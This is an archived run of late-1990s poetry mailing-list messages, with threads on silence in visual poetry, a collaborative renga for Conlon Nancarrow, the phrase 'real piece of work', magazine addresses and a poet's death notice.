> *Simon Pettet, Joanne Kyger, Duncan McNaughton, Lewis MacAdams Anselm Hollo, FA Nettelbeck, Tom Clark, Alice Notley, Clark Coolidge Owen Hill, Kevin Opstedal, Ted Berrigan, Hoa Nguyen (me), Noel Anderson Black, Anselm Berrigan, Amy Gerstler, Elinor Nauen Connie Deanovich, Edmund Berrigan, William Yackulic, Richard D. Houff, Michael Price, Gregory Fuchs, Jack Hirschman, Boadiba, Lucia Berlin, Brett Evans, Shauna Hannibal, Edward Ainsworth, Dale Smith*
>
> *with illustrations by Kevin Opstedal!! A big tape bound issue is only ten bucks. If any one has trouble finding it, I have an address.*
>
> *Thanks and*
> *hope everyone is having a gas...*

Could you put the address on the list? In most places it's hard finding just about anything.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |
memory fails Lawrence, KS 66045 | these are the days."
[redacted] | Larry Eigner, 1927-1996
---------- Note new area code
---
http://titania.math.ukans.edu/faculty/roitman/

↑ Index

473. **Hoa Nguyen**
Re: GAS NUMBER 9-- address
Fri 22 Aug 1997

Get yr GAS from Kevin Opstedal
386 Madeline Court
Palo Alto CA
94306

I hope you do!

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

474. **Bob Grumman**
Re: space(s) of silence
Fri 22 Aug 1997

To fill in just a little about what Crag said about Geof Huth, his fine series of columns on the praecisio ran in Lloyd Dunn's much-missed magazine *Photo-static* as the eighties ended. A praecisio is the absence of some stimulus where expected, to define it very loosely from a shaky memory of what Geof wrote. Cage's silences were prototypes of it--and such things as books titled THE WIT AND WISDOM OF RONALD REAGAN that contained nothing but blank pages. Geof got into a good deal more than this, but I'm too lazy to look it up.

Now that I've been lured into this thread, I might as well say that I think both Dave Chirot and Kim Dawn succeeded in capturing silence in their recent pieces. It seems to me that visual poetry is ideal for this purpose--and that blank areas of a page, being textless, are clearly as SILENT as a pause in the oral telling of a story. That either a blank area or a pause might cause noisy THOUGHTS is irrelevant because silence is that which causes a PERCEPTION

of soundlessness regardless of whether it also causes noisy thoughts. If this weren't the case, then no kind of silence would be possible, since somewhere there's going to be someone who's going to think noisy thoughts about any possible silence.

I think the real question is what silences are EFFECTIVE silences in poetry. I like visual poetry's silences; Red Slider, I guess, doesn't. Here's one of my own attempts at an effective silence in a poem. I'll make the blank area short: in the book I have it in, it lasts three pages:

pnd;

then, at last,
the splash of
something

--Bob G

↑ Index

475. Brian Carpenter
barthes
Fri 22 Aug 1997

Hello--

I'm attempting to hunt down a particular quote from Roland Barthes, something to the effect of "words are exchanged for ideas, as money is for goods." Since I'm brand new to Barthes' writing, I'm not sure where to look for this. Any leads would be highly appreciated. Backchannel is fine.

many thanks--

BC

Brian Carpenter "Solitude, recif, etoile
A n'importe ce qui valut
[redacted] Le blanc souci de notre toile."
--- -- Mallarme

↑ Index

476. John Tranter
silence
Sat 23 Aug 1997

In a recent posting, Dave Grumman said :

"Now that I've been lured into this thread, I might as well say that I think both Dave Chirot and Kim Dawn succeeded in capturing silence in their recent pieces. It seems to me that visual poetry is ideal for this purpose--and that blank areas of a page, being textless, are clearly as SILENT as a pause in the oral telling of a story. That either a blank area or a pause might cause noisy THOUGHTS is irrelevant because silence is that which causes a PERCEPTION of soundlessness regardless of whether it also causes noisy thoughts. If this weren't the case, then no kind of silence would be possible, since somewhere there's going to be someone who's going to think noisy thoughts about any possible silence."

<ir> wow. I mean, this really silences me. I'm still thinking about it.
I think Bob is right.
And I think Dave and Kim might well consider embarking on this
wonderful and thought-filled journey.
Dave, Kim ... how about some postings to the EPC list that have ...
that have no sender, no subject,and NO MESSAGE !!
Is this maybe too much silence to ask? It would be like Rimbaud in Harar
... nothing to say!

"Those who speak do not know,
those who know ... DO NOT SPEAK!!"
</ir>
--
(shhh ... quietly...) John Tranter

↑ Index

477. **Maria Damon**

Re: Renga for Nancarrow

Sat 23 Aug 1997

>
> / / / / /
>
> Renga for Nancarrow
>
> 1 Ach, I throw away my metranome It is useless to me
> (??)
>
> 2 here in this metrapolis
> (GB)
>
> 3 morning late-summer: this cricket knows the music

> (DI)
>
> 4 hairy as thistle and as elevated
> (GM)
no need for numbers or ID anymore

↑ Index

478. Maria Damon
Re: Renga for Nancarrow
Sat 23 Aug 1997

At 4:56 PM -0400 8/22/97, Daniel Zimmerman wrote:
>Renga for Nancarrow
>
> 1 Ach, I throw away my metranome It is useless to me
> (??)
>
> 2 here in this metrapolis
> (GB)
>
> 3 morning late-summer: this cricket knows the music
> (DI)
>
> 4 hairy as thistle and as elevated
> (GM)
>
> 5 thermal etude beside a bamboo cage
> (DZ)
cambric dozens unswathed enfin

↑ Index

479. Douglas Barbour
Re: Renga - ongoing
Sat 23 Aug 1997

Renga for Nancarrow

1 Ach, I throw away my metranome It is useless to me
(??)

2 here in this metrapolis
(GB)

3 morning late-summer: this cricket knows the music
(DI)

4 hairy as thistle and as elevated
(GM)

5 thermal etude beside a bamboo cage
(DZ)

6 its silences appear in careful measure
(DB)

==========
==========

Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]

~~~
~~~

481. **Bobbie West**
Re: space(s) of silence
Sat 23 Aug 1997

This is slightly off-thread -- not about capturing silence on paper, but silence in general. I have yet to find any absolute silence in nature -- only an absence of sounds made by humans. Maybe that's the definition of silence.

Bobbie West

↑ Index

482. **Red Slider**
Re: space(s) of silence
Sat 23 Aug 1997

Bobbie Wrote: This is slightly off-thread -- not about capturing silence on paper, but silence in general. I have yet to find any absolute silence in nature -- only an absence of sounds made by humans. Maybe that's the definition of silence.

Bobbie West

red is writing:

yes indeed. When scuba-diving i find it is the absence of bird sounds that most impress me with the utter silence around me. In my earlier post I think that's what I was scratching at - that we're somehow dealing with contrast-space rather than object-space, which means Bob Grumman's central question about which portrayals of silence will be effective - create the precise praeciscios desired - will have multiple solutions - arrangements of textualized white-space being one (and that there are many types of textualized white-space, I have no doubt). So what will be useful, will help at the margin of the process is a description of the tools and what they seem to be doing in varying circumstances. The idea of types of 'phasing' of mutual elements so that their interplay appears to cancel or reduce 'noise' is of the most interest to me at the moment.

↑ Index

483. **David R. Israel**
Re: Renga - ongoing
Sat 23 Aug 1997

Ach, what to do? I see that Douglas Barbour and Maria Damon have *both* added on a 6th line to the Renga for Nancarrow. Since it appears that DB's follows clearly from the 5th (the "its" referring back, one assumes, to the "thermal etude" of line 5 -- which in turn presumably may refer back to "the music" of

line 3), will Maria concede line 6 to Prof. B, and accept 7th line as hers? Maria also suggests abandoning the numbering & i.d.'ing of lines. okay w/ me.

Here's now adding an 8th. (So far, I find this reading fairly in couplet-fashion -- though other readers might read otherwise.)

/ / / / /

Renga for Nancarrow

Ach, I throw away my metranome It is useless to me

here in this metrapolis

morning late-summer: this cricket knows the music

hairy as thistle and as elevated

thermal etude beside a bamboo cage

its silences appear in careful measure

cambric dozens unswathed enfin

once there was a parade -- the long years roll

↑ Index

484. Charles Alexander

Re: space(s) of silence

Sat 23 Aug 1997

Perfect or absolute silence would be a kind of vacuum, wouldn't it? And nature abhors a vacuum.

charles

> From: Bobbie West <[redacted]>
> To: [redacted]
> Subject: Re: space(s) of silence
> Date: Saturday, August 23, 1997 9:35 AM
>
> This is slightly off-thread -- not about capturing silence on paper, but
> silence in general. I have yet to find any absolute silence in nature --
> only an absence of sounds made by humans. Maybe that's the definition of
> silence.

↑ Index

485. Carl Lynden Peters
Re: space(s) of silence
Sat 23 Aug 1997

> *Perfect or absolute silence would be a kind of vacuum, wouldn't it? And nature abhors a vacuum.*

or something like: vacu m

all best to you, charles!

c.!

↑ Index

486. Daniel Zimmerman
Re: space(s) of silence
Sat 23 Aug 1997

Charles Alexander wrote:
>
> Perfect or absolute silence would be a kind of vacuum, wouldn't it? And
> nature abhors a vacuum.
>
> charles
>
> ----------
> > From: Bobbie West <[redacted]>
> > To: [redacted]
> > Subject: Re: space(s) of silence
> > Date: Saturday, August 23, 1997 9:35 AM
> >
> > This is slightly off-thread -- not about capturing silence on paper, but
> > silence in general. I have yet to find any absolute silence in nature --
> > only an absence of sounds made by humans. Maybe that's the definition of
> > silence.

Or nature adores a vacuum, since it rushes right into it . . .

Dan

↑ Index

487. Red Slider
Origins and Sentiments
Sat 23 Aug 1997

Now that the light at the end of the rat's ass seems to be turned off, I have a phrase that's always puzzled me, 2wit&var:

"You're a real piece of work."

I've generally heard it used in a disapproving mode - with harmonics in the 'piece of shit' or 'piece of tail' range. But, frankly find the euphonics rather and strangely pleasant and employ it affectionately when, say, I might step back from a 'piece' i'm pleased with and remark ().

Then again, it might be the diminutive 'piece of' to which the disapproval attaches. If I were to be the 'whole pile of shit' (or var. an elephant's, rather than a rat's, ass, I might not be quite so soiled? Perhaps the speaker is disappointed merely with the meager portion they've been served?

But I wonder, was there ever a 'real piece of work' to which the phrase might have referred? Perhaps cleaning the dog kennel or something? Does it attach to other meanings as well? I've a slight angst that perhaps it's something burried in the closet of ruminations about my father's adroit useages and that there's something rootish about the matter - in which case I suppose this is a thread about gardening and not language.

red

↑ Index

488. George Bowering
Re: Renga for Nancarrow
Sat 23 Aug 1997

> */ / / / /*
>
> *Renga for Nancarrow*
>
> *1 Ach, I throw away my metranome It is useless to me*
> *(??)*
>
> *2 here in this metrapolis*
> *(GB)*
>
> *3 morning late-summer: this cricket knows the music*
> *(DI)*

> *4 hairy as thistle and as elevated*
> *(GM)*
> *no need for numbers or ID anymore*

6. Just my season's ticket at the Metradome

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

489. kim dawn
( )
Sat 23 Aug 1997

( ) ( )

( )

( )

( ) ( ) ( )

↑ Index

490. Brian Carpenter
Re: space(s) of silence
Sat 23 Aug 1997

The most clearly silent place in nature I have experienced is at the top of one of the many cinder cones in the Craters of the Moon Nat'l Park in central Idaho. These are essentially enormous cone-like formations of volcanic rock ranging up to a few hundred feet high. Since the tourist traffic is very minimal in this park, one can walk to the top of one of these many cones and find a completely isolated spot looking out across a wasteland of part lava bed, part brushland. No birds, etc, around. And when there is no breeze where you are standing there is nothing hear. But at this point you begin to hear the sound of the blood pumping through your ears, a sound that has always been there. This reminds me of the music of the spheres, which was said to be so familiar to human ears that it could no longer be perceived. My thinking is that silence is best considered as a threshhold one only approaches, for both external (natural) and internal (bodily) reasons.

BC

On Sat, 23 Aug 1997, Charles Alexander
wrote:

> *Perfect or absolute silence would be a kind of vacuum, wouldn't it? And nature abhors a vacuum.*
>
> *charles*
>
> *----------*
> *From: Bobbie West <[redacted]>*
> *To: [redacted]*
> *Subject: Re: space(s) of silence*
> *Date: Saturday, August 23, 1997 9:35 AM*
>
> *This is slightly off-thread -- not about capturing silence on paper, but silence in general. I have yet to find any absolute silence in nature -- only an absence of sounds made by humans. Maybe that's the definition of silence.*

↑ Index

491. **David R. Israel**

Re: Origins and Sentiments

Sat 23 Aug 1997

Red Slider remarks --

> *. . . I have a phrase that's always puzzled me, 2wit&var:*
>
> *"You're a real piece of work."*
>
> *I've generally heard it used in a disapproving mode - with harmonics in the 'piece of shit' or 'piece of tail' range. . . .*
> *But I wonder, was there ever a 'real piece of work' to which the phrase might have referred? Perhaps cleaning the dog kennel or something? . . .*

Here's how I understand it:

1. the overt sense is a term of admiration (not disparagement)

2. something which is "a real piece of work" is, in non-ironical useage, something which shows great beauty, workmanship, fascination, is, in a word, remarkable in nature.

3. As an *ironic* utterance, the sense of the term is, of course, turned somewhat on its head. Thus, "You're a real piece of work" may denote "you're a

wonder! you're quite amazining!", but the ironic subtext may be along the lines you suggest above.

4. It seems possible that the expression"you're a piece of shit" itself derived from the more genteel "you're a real piece of work" (and not the other way around).

5. I think part of the beauty & irony of "you're a real piece of work" involves the notion that the mind of the person so addressed is felt, by the person saying this utterance (in its original, somewhat aristocratic context -- surely this is a 19th-century expression from the upper classes?), -- the mind of the addressee is felt to be something which, while defying logic or comprehension, is yet a wonder in itself (poss. all the more so, for the fact of doing so).

6. Of course, most charming & genteel expressions such as this can be used in less sparkling manners & contexts, as seems to have been the case w/ your experience of this locution.

No doubt, someone with access to DARE or some such resource work detailing vernacular usage, could give a fuller (& more precise) reading & background for the phrase. The above is merely my own overall sense of it (based on what I've heard), for what worth.

d.i.

```
 .
 .....
 ............
\\\
```

complexity, a rube goldberg contraption that evokes admiration that it can function at all. OED Supplement supports this understanding, with examples back to 1928. "Piece of shit" I think is probably unrelated. Then there's also "piece of ass" or "tail" and "piece of the action," I think also unrelated. How about the verbs attached to various actions, to wit: to give (or not) a shit or a fuck, to take a shit or a piss, or simply to go or to come, as in: "Why are you fidgeting?" "I have to go. I always have to go after I come." A propos of this last, used to be (see Lindner, _The Fifty-Minute Hour_) that those of the Freudian persuasion thought that a guy leaving the bed to take a piss after getting a piece of ass, which his skirt might understand as his not really giving a fuck, was really just a cover for a castration fantasy--the guy was really checking to make sure that everything was still there. There are, of course, easier and better physiological explanations. Hard to believe that those psycho analysts were MD's. They must have been real pieces of work.

At 09:38 PM 8/23/97 -0400, you wrote:
>Red Slider remarks --
>
>> . . . I have a phrase that's always puzzled me, 2wit&var:
>>
>> "You're a real piece of work."
>>
>> I've generally heard it used in a disapproving mode - with harmonics
>> in the 'piece of shit' or 'piece of tail' range. . . .
>> But I wonder, was there ever a 'real piece of work' to which the
>> phrase might have referred? Perhaps cleaning the dog kennel or
>> something? . . .
>
>Here's how I understand it:
>
>1. the overt sense is a term of admiration (not disparagement)
>
>2. something which is "a real piece of work" is, in non-ironical
>useage, something which shows great beauty, workmanship, fascination,
>is, in a word, remarkable in nature.
>
>3. As an *ironic* utterance, the sense of the term is, of course,
>turned somewhat on its head. Thus, "You're a real piece of work"
>may denote "you're a wonder! you're quite amazining!", but the ironic
>subtext may be along the lines you suggest above.
>
>4. It seems possible that the expression"you're a piece of shit"

>itself derived from the more genteel "you're a real piece of work"
>(and not the other way around).
>
>5. I think part of the beauty & irony of "you're a real piece of
>work" involves the notion that the mind of the person so addressed is
>felt, by the person saying this utterance (in its original, somewhat
>aristocratic context -- surely this is a 19th-century expression from
>the upper classes?), -- the mind of the addressee is felt to be
>something which, while defying logic or comprehension, is yet a
>wonder in itself (poss. all the more so, for the fact of doing so).
>
>6. Of course, most charming & genteel expressions such as this can
>be used in less sparkling manners & contexts, as seems to have been
>the case w/ your experience of this locution.
>
>No doubt, someone with access to DARE or some such resource work
>detailing vernacular usage, could give a fuller (& more precise)
>reading & background for the phrase. The above is merely my own
>overall sense of it (based on what I've heard), for what worth.
>
>d.i.
> .
> .....
> .....
> \\\\

493. **Schuchat Simon**
list down?
Sat 23 Aug 1997

No messages for two days -- is it the list or is it my server?

↑ Index

494. **Layne Russell**
Re: space(s) of silence
Sat 23 Aug 1997

> *s e e*

s a w

s o

s o o n

s e a

s w e l l

s o f t

s e e n

↑ Index

495. **Red Slider**
Re: ( )
Sun 24 Aug 1997

kim's discrete silence -

( ) ( )

( )

( )

( ) ( ) ( )

---------- there is also an indiscrete version:

(((((((((((()))))))))))

↑ Index

496. **Red Slider**
Re: ( )
Sun 24 Aug 1997

kim's discrete silence -

( ) (
)

( )

  ( )
( ) (
) ( )

---------- there is also an indiscrete version:

(((((((((((()

red.

↑ Index

497. **Tom Orange**
rimbaud in africa
Sun 24 Aug 1997

re the silence thread, john tranter offhands:

"Dave, Kim ... how about some postings to the EPC list that have ... that have no sender, no subject,and NO MESSAGE !! Is this maybe too much silence to ask? It would be like Rimbaud in Harar ... nothing to say!"

reminding me to ask y'all if anyone has read or heard anything about charles nicholl's /somebody else: arthur rimbaud in africa 1880-91/ (london: cape, 1997).

thanks,
t.

↑ Index

498. **joel lewis**
Elio Schneeman
Sun 24 Aug 1997

sorry to report the death of elio schneeman (b.1961) on 8/17/97 of a drug overdose. he was the son of george and katie schneeman and was a much loved figure at the poetry project. His books were "In February, I think" (1978, C Press) and the 91' volume "Along the Rails" from United Artist> His funeral was held

monday at St. Bridget's Church (the same as in the Frank O' Hara and Bill Berkson collab -- "Hymns to St. Bridget's") w/ pall barers including Greg masters, Mitch Highfill, and John Godfrey. Elio's work was not known that much outside of the Project but is worth looking into. There is a memorial reading being planned at Naropa in two weeks.

joel lewis

p.s.-- as elio would say: "No, I am not related to carolee schneeman". his dad, however, is an artist whose work is familair to any reader of berrigan, raworth. notley and other writers in poproject community as he illustrated many books.

↑ Index

499. **jarnot**
Re: Elio Schneeman
Sun 24 Aug 1997

Elio Schneeman's work will also be published in An Anthology of New American Poets, forthcoming from Talisman House later this year. Copies of his book Along the Rails are still in print and available through United Artists Books/701 President Street/Brooklyn, NY 11215.

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500. **Maria Damon**
Re: Renga for Nancarrow
Sun 24 Aug 1997

At 6:10 PM -0700 8/23/97, George Bowering wrote:
>>>
>>> / / / / /
>>>
>>> Renga for Nancarrow
>>>
>>> 1 Ach, I throw away my metranome It is useless to me
>>> (??)
>>>
>>> 2 here in this metrapolis
>>> (GB)
>>>
>>> 3 morning late-summer: this cricket knows the music
>>> (DI)
>>>
>>> 4 hairy as thistle and as elevated
>>> (GM)

>>no need for numbers or ID anymore
>
> 6. Just my season's ticket at the Metradome
in space, I spoze, resonating "o"'s
>
>
>
>
>
>George Bowering.
> ,
>2499 West 37th Ave.,
>Vancouver, B.C.,
>Canada V6M 1P4
>
>fax: [redacted]

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501. **Maria Damon**
Re: Renga - ongoing
Sun 24 Aug 1997

At 8:49 AM -0600 8/23/97, Douglas Barbour wrote:
>Renga for Nancarrow
>
> 1 Ach, I throw away my metranome It is useless to me
> (??)
>
> 2 here in this metrapolis
> (GB)
>
> 3 morning late-summer: this cricket knows the music
> (DI)
>
> 4 hairy as thistle and as elevated
> (GM)
>
> 5 thermal etude beside a bamboo cage
> (DZ)
>
> 6 its silences appear in careful measure

> (DB)
immeasurable the rhythms of organ blood

↑ Index

502. **nuyopoman**
Re: POETICS Digest - 22 Aug 1997 to 23 Aug 1997
Sun 24 Aug 1997

Renga for Nancarrow

Ach, I throw away my metranome It is useless to me

here in this metrapolis

morning late-summer: this cricket knows the music

hairy as thistle and as elevated

thermal etude beside a bamboo cage

its silences appear in careful measure

cambric dozens unswathed enfin

once there was a parade -- the long years roll

Just my season's ticket at the Metradome

<astroturf growing inspooled and drifty

Bob Holman

↑ Index

503. **Judy Roitman**
Re: ( )
Sun 24 Aug 1997

Kim Dawn writes:

> *( ) ( )*
>
> *( )*
>
> *( )*
> *( ) ( ) ( )*

How about

(

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |
memory fails Lawrence, KS 66045 | these are the days."
[redacted] | Larry Eigner, 1927-1996
---------- Note new area code
---
http://titania.math.ukans.edu/faculty/roitman/

↑ Index

504. Red Slider

Re: ( )

Sun 24 Aug 1997

Kim Dawn writes:

> *( ) ( )*
>
> *( )*
>
> *( )*
>
> *( ) ( ) ( )*

Judy Roitman writes:

How about

(

Red writes: similar to my idea, Judy. though neither is faithful to Kim's text (though you may have simply wished to give another general silence possibility) A faithful rendering of indiscrete silence for Kim's text might have been:

((

(

(

((

(

---
sorry if the actual spacing is a bit off, but that's the general idea.
-red

↑ Index

505. Miekal And
Re: Renga for Nancarrow (cont'd)
Mon 25 Aug 1997

David R. Israel wrote:
>
> Renga for Nancarrow
>
> Ach, I throw away my metranome It is useless to me
> here in this metrapolis
>
> morning late-summer: this cricket knows the music
> hairy as thistle and as elevated
>
> thermal etude beside a bamboo cage
> its silences appear in careful measure
>
> cambric dozens unswathed enfin
> once there was a parade -- the long years roll
>
> Just my season's ticket at the Metradome
> astroturf growing inspooled and drifty
>
> from my meerchaum unwinds a drift of smoke

elsewise a 1000 piano's mechanic playerly disposition
unwound & mispluckd hearing charge

--
@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

↑ Index

506. Miekal And
Re: Renga for Nancarrow (cont'd)
Mon 25 Aug 1997

David R. Israel wrote:

> *& appended 2 lines. I'm no renga-rabbi myself, but have an idea it's customary to add one line per.*

me not know the form as well, maybe 2 lines be one long line

(like the one we are always standing in at the grocery store!

miekal

--
@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

↑ Index

507. Barry and Catherine Smith
Re: Silence and paper whatsits
Mon 25 Aug 1997

You guys in North America may have sorted out your puzzlement by now, I'm just a digest reader. Regarding the maybe euphemistic 'paper asshole' when I heard it last it was "This guy's drivin like he's got a pipeup'is arsehole" - imagine - ah language - maybe it's easier to hear on the quiet roads of the South Pacific. And on silence.

What I like most
about old friends
is the way
they echo
each others silence

Cheers

Barry Smith

Barry and Catherine Smith
56 Orchard Avenue
Hamilton, New Zealand.
Phone [redacted] Fax [redacted] Email [redacted]

↑ Index

508. Alan Jen Sondheim
Language, written on the road
Mon 25 Aug 1997

Language, Porosity, Quotation, Notes On

"Everyone makes jokes about macaroni, because it is a hole with some- thing around it, or about canons. [sic] The fact that we laugh doesn't change the situation, however; the fashioning of the signifier and the introduction of a gap or a hole in the real is identical." (Lacan, VII)

"Lyotard comes close to what I have in mind when he says:

The ambiguity of writing, object of reading and of sight, is present in the initial ambiguity of drawing. An open line, a line closed on itself. The letter is an unvarying closed line; the line is the open moment of the letter which perhaps closes again elsewhere, on the other side. Open the letter, you have the image, you have the emblem, the symbol and the letter. (Lyotard, The Lyotard Reader, 48)

"Lyotard's beautiful evocation of the sinuous interweaving of the line of writing and that of picturing points to a third term, to some con- ception of the line before it has acquired the cohesion imparted to it by either of its 'decisions.'" (Michael Carter, Putting a Face on Things, Studies in Imaginary Materials)

Between macaroni and drawing, language noodles out, appearing in a dia- lectic between the foreclosing of syntax and sememe, and the porosity of the struggle towards coherence within any number of communicative chan- nels, ranging from human speech to the reconstruction of true or false memories in the brain.

If we look at a computer complete with operating system, we discover a hierarchy of apparently relatively autonomous languages, beginning with hardware, and working up to the user interface. These might include machine language, assembly language, macroassembly languages, compiled and interpreted languages, scripts, graphic interfaces, and so forth.

We can also consider these languages, top-down, as an extension of human psychological operations and memory as well.

If we look closer, say, at Perl, we find that it can call up the Unix shell and shell scripts, that it can call up programs in other lang- uages, that it can interact in fact with assembly language, that it is written in another language, and that it may itself be called up by still another or the same language. We find it can interact with scripts, programs, or processes, and each of these can call the other up as well.

In fact, we can define a macro in Perl, a new function or verb, with any of these languages, etc,, and we can define an object in Perl as well, with any of them. In fact, one might note that there is above all a syn- tactical plateau or intermeshing of plateaus that constitutes the posi- tioning of Perl in relation to the machine, to the Internet, to the user, and in general, to the porous world within which it is embedded.

We find then, that Perl is not so much at the top of a hierarchy, as it is embedded in a holarchy, and while it, in a certain sense, might still appear as an autonomous language, in another sense it is an accumulation of interwoven well-defined processes that are coherent in relation to each other and the outer world.

So that one might argue, taking these instantiations back into the human, that while thought itself is in relation to human spoken language, that is hardly the long or short of it; in fact, it is dif- ficult to tell where semiosis begins and ends, and what constitutes a well-defined verb or noun, in other words a framework. Further, while difference may be said to be partly constitutive of a domain of sig- nifiers, one might also argue that it is based on other processes within the holarchy, and that the holarchy itself is porous in relation to the real.

And I would argue in addition that there is a continuum (more properly, perhaps, a stretch of rational fractions) from the real through lang- uage, from the exhalations of speech through the mouth, and the recep- tion of facial expressions through the eyes, from and to, in fact, num- erous modalities - and in the midst of these, syntactical islands or attractors which operate as-if the linguistic were capable of foreclos- ure on what then appear to be various plateaus.

One might thing of the world as multiplexing, parallel/parallel proces- sing, with formalization of the symbolic where necessary, for transmis- sion, say, from one organism to another. This is not to argue, in addi- tion in addition, for the computerization of the real, but rather for the real itself as organism with continuously multiplying, coalescing, and dissolving processes.

In this manner, the disjunction between thought and non-thought, and both in conjunction and disjunction with language, become bridged, re- routed into numerous processes, of which, say, human language and the rationalizing/suturing discourse of psychoanalysis would be one among many elements.

--

My own work exists as _debris-work,_ work of the debris, of these troub- ling and interstitial areas. Thus, even within writing which must tend towards a certain foreclosure, I present wryting, the fiction of writing object and person within a text, object and person which leak into uneasy dreams, fantasies, ghosts, peripheral shadows within the real itself. Further, I present processes as writing, writing as processes; I present foreclosure as broken, and a shattering of the vessels as fore- closure.

--

Languagings extend into cultural sheaves, such as fashion, style, cul- tural productions. Such sheaves are inherently irreducible; fashion, for example, is dependent upon the armature of the body, but its specificity is interwoven with

the rest of culture, including issues of capital, temperament, governance, and so forth. And all of these create an uneasy fit with spoken language itself, with music, with organized/disorganized sound of all sorts.

Further, fashion-as-language becomes as problematic as film language, the languages of art, and so forth. A hat, for example, is simply a thing that sits on the head (presumably remaining there through the normal walking, etc. movement of the body). Beyond that, what signifies and what doesn't is often difficult to discern. The _stream_ of style is easier described, perhaps, as if there were a generalized semantics at work. (See Carter, op. cit.) (Note that "what signifies here" is rele- vant to the postulation of a basic lexeme; semantics, symbolization, chaotic representational debris, etc., all play a role in constituting what otherwise might be considered a "language." Instead, I postulate we are dealing with linguistic part-objects, broken and severed codes, micro-territories (three or one flowers on the hat; roses or tulips; forward or backward, etc.). And this leads, as well, into the interplay of semantics and syntax, even the interplay of what might be considered a relevant series of signs.)

And further, still, ascii texts on the Internet employ what might be considered a variety of extra-linguistic cues - on numerous chat lines, ranging from Powwow to ytalk, it is possible to read the pace of the other's typing, to the extent that one might speak/write of a written _parole._ This embedding of language into the other's time reveals the closeness, pressure, of the body against the keys, an intimacy which is not as evident in the encapsulated messages sent out all at once, on MOOs, talkers, IRC, and the like.

(For this reason, as I have pointed out elsewhere, ytalk becomes an in- timate simulacrum of the body; the "breathing" of the texts between two participants parallels that of lovers sharing a unified, if discordant, space.)

Then there are, of course, emoticons, header information, lag, the tim- ing of mail sent, and those porous extensions of the telephone, snail- mail, video, etc. all of which serve literally to confuse the issue. (Which is exactly the point here, that _language,_ _a language,_ is a situated plateau in the midst of others, that there are always already issues of governance and porosity from the start, that there is a tend- ency towards foreclosure, that the porosity may or may not be formal- ized (for example there are specific commands for shell access from a Perl script) - that, in fact, one might consider a generalized process of _world- ing_ which includes all and none of these, what may or may not be interpreted as an abstract process, message of the deepest import, or signal through an autonomic nervous system, seemingly intent on keeping the organism alive.)

J, Well, it's time for the Law.
J, Well, now, what Law would that be?

J, That would be the Primordial Law. That would be the Law from which
Law has blossomed, the Law which has curtained a mighty culture.
J, Now that would be the Law of Prohibition.
J, Exactly, when negation came into the world, when rejection ordered
the day and night, when suddenly the signifier sputtered from the skin..
J, I get the Idea.
J, Yes, and exactly again.

↑ Index

509. **jarnot**
lorenzo thomas?
Mon 25 Aug 1997

---

i'm looking for a phone number for lorenzo thomas. if anyone has info please
back channel. thank you. lisa jarnot

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510. **David R. Israel**
Renga for Nancarrow (cont'd)
Mon 25 Aug 1997

Renga for Nancarrow

Ach, I throw away my metranome It is useless to me
here in this metrapolis

morning late-summer: this cricket knows the music
hairy as thistle and as elevated

thermal etude beside a bamboo cage
its silences appear in careful measure

cambric dozens unswathed enfin
once there was a parade -- the long years roll

Just my season's ticket at the Metradome
astroturf growing inspooled and drifty

from my meerchaum unwinds a drift of smoke

↑ Index

511. David R. Israel
Re: Renga for Nancarrow (cont'd)
Mon 25 Aug 1997

Poetas,

Red Slider sent me this note -- << david, not sure about renga composition or my specific composition (I read, but do not see the rules in operation - like a new football fan who cannot quite understand why those fellows who do not have the ball are beating the crap out of one another). If the contribution below suitable i offer, if not - trash. thank you >>

& appended 2 lines. I'm no renga-rabbi myself, but have an idea it's customary to add one line per. However, far be it from me to nix as unkosh the 200% you append; too, perhaps my coupletization was unduly normative couplet-wise-- also, sorry naving not included some side-stream branchings (I think a couple from Maria D.) that had branched off earlier than what's here -- pls. add, insert, re-append, whatever! --

here's what I have in hopper to date, including Red's 2 --

d.i.

////\\\\///\\\\///\\\\///\\\\

Renga for Nancarrow

| Ach, I throw away my metranome It is useless to me
| here in this metrapolis
| morning late-summer: this cricket knows the music
| hairy as thistle and as elevated
| thermal etude beside a bamboo cage
| its silences appear in careful measure
| cambric dozens unswathed enfin
| once there was a parade -- the long years roll
| Just my season's ticket at the Metradome
| astroturf growing inspooled and drifty
| from my meerchaum unwinds a drift of smoke
| porosities of potted clay pot unwatering
| walkway keys jingle in my pocket
|

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512. Maria Damon
Re: Renga for Nancarrow (cont'd)
Mon 25 Aug 1997

At 9:34 AM -0400 8/25/97, David R. Israel wrote:
>Renga for Nancarrow
>
>
>Ach, I throw away my metranome It is useless to me
>here in this metrapolis
>
>morning late-summer: this cricket knows the music
>hairy as thistle and as elevated
>
>thermal etude beside a bamboo cage
>its silences appear in careful measure
>
>cambric dozens unswathed enfin
>once there was a parade -- the long years roll
>
>Just my season's ticket at the Metradome
>astroturf growing inspooled and drifty
>
>from my meerchaum unwinds a drift of smoke
from my mere window drifts a widow

↑ Index

513. dbkk
Re: Renga for Nancarrow (cont'd)
Mon 25 Aug 1997

I've been out of town, and *most* of you on the list will understand my dismay at turning on the e-mail and out of 7 messages 3 were this renga thread. I thought it was agreed upon ages ago that so many listmembers found these rengas problematic in terms of wasted bandwidth and a waste of the 50-message limit that it was agreed that they would be taken backchannel.

And I know some of the perpetrators of this thing were involved in the original tedium.

Dodie

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514. Lawrence Upton.
My new email address
Mon 25 Aug 1997

I shall be sending this message widely over the next few days as I build my new address book. Apologies for cross posting.

My email address at Compuserve should be considered dead. This is my new one. I am still learning its oddnesses.

I am sorry for the change and the trouble it causes you, but I gave up on the useless and cynical service that I received from Compuserve. This is also likely to be cheaper.

Anything sent to Compuserve for me after 20th August 1997 is likely not to have been received.

Lawrence Upton

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515. George Bowering
Re: POETICS Digest - 22 Aug 1997 to 23 Aug 1997
Mon 25 Aug 1997

> *Renga for Nancarrow*
>
> *Ach, I throw away my metranome It is useless to me*
>
> *here in this metrapolis*
>
